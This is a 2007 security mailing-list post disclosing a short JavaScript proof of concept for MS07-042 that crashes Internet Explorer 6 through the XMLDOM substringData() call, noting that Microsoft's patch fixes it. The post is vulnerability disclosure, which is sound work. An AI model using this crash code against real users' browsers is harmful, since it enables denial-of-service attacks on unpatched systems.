full-disclosure - MS07-042 XMLDOM substringData() PoC

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Message-ID: <46C4199A.9020500@scanit.be>
Date: Thu, 16 Aug 2007 11:32:10 +0200
From: Alla Bezroutchko <alla@...nit.be>
To: full-disclosure@...ts.grok.org.uk,  bugtraq@...urityfocus.com
Subject: MS07-042 XMLDOM substringData() PoC

This bit of JavaScript kills IE 6 on Windows 2000 and Windows XP SP2

    var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
    xmlDoc.loadXML("<dummy></dummy>");
    var txt = xmlDoc.createTextNode("huh");
    var out = txt.substringData(1,0x7fffffff);

Installing the patch from MS07-042 fixes it.

Cheers,
Alla Bezroutchko
Scanit - http://www.scanit.be/

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